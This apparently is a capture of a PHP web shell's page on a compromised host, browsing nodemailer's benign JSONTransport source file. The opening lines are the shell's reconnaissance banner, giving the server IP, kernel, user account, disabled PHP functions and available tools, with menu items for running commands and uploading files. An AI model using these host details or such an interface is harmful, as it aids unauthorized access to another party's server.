Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/nodemailer/lib/json-transport/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
'use strict'; const packageData = require('../../package.json'); const shared = require('../shared'); /** * Generates a Transport object to generate JSON output * * @constructor * @param {Object} optional config parameter */ class JSONTransport { constructor(options) { options = options || {}; this.options = options || {}; this.name = 'JSONTransport'; this.version = packageData.version; this.logger = shared.getLogger(this.options, { component: this.options.component || 'json-transport' }); } /** * <p>Compiles a mailcomposer message and forwards it to handler that sends it.</p> * * @param {Object} emailMessage MailComposer object * @param {Function} callback Callback function to run when the sending is completed */ send(mail, done) { // Sendmail strips this header line by itself mail.message.keepBcc = true; let envelope = mail.data.envelope || mail.message.getEnvelope(); let messageId = mail.message.messageId(); let recipients = [].concat(envelope.to || []); if (recipients.length > 3) { recipients.push('...and ' + recipients.splice(2).length + ' more'); } this.logger.info( { tnx: 'send', messageId }, 'Composing JSON structure of %s to <%s>', messageId, recipients.join(', ') ); setImmediate(() => { mail.normalize((err, data) => { if (err) { this.logger.error( { err, tnx: 'send', messageId }, 'Failed building JSON structure for %s. %s', messageId, err.message ); return done(err); } delete data.envelope; delete data.normalizedHeaders; return done(null, { envelope, messageId, message: this.options.skipEncoding ? data : JSON.stringify(data) }); }); }); } } module.exports = JSONTransport;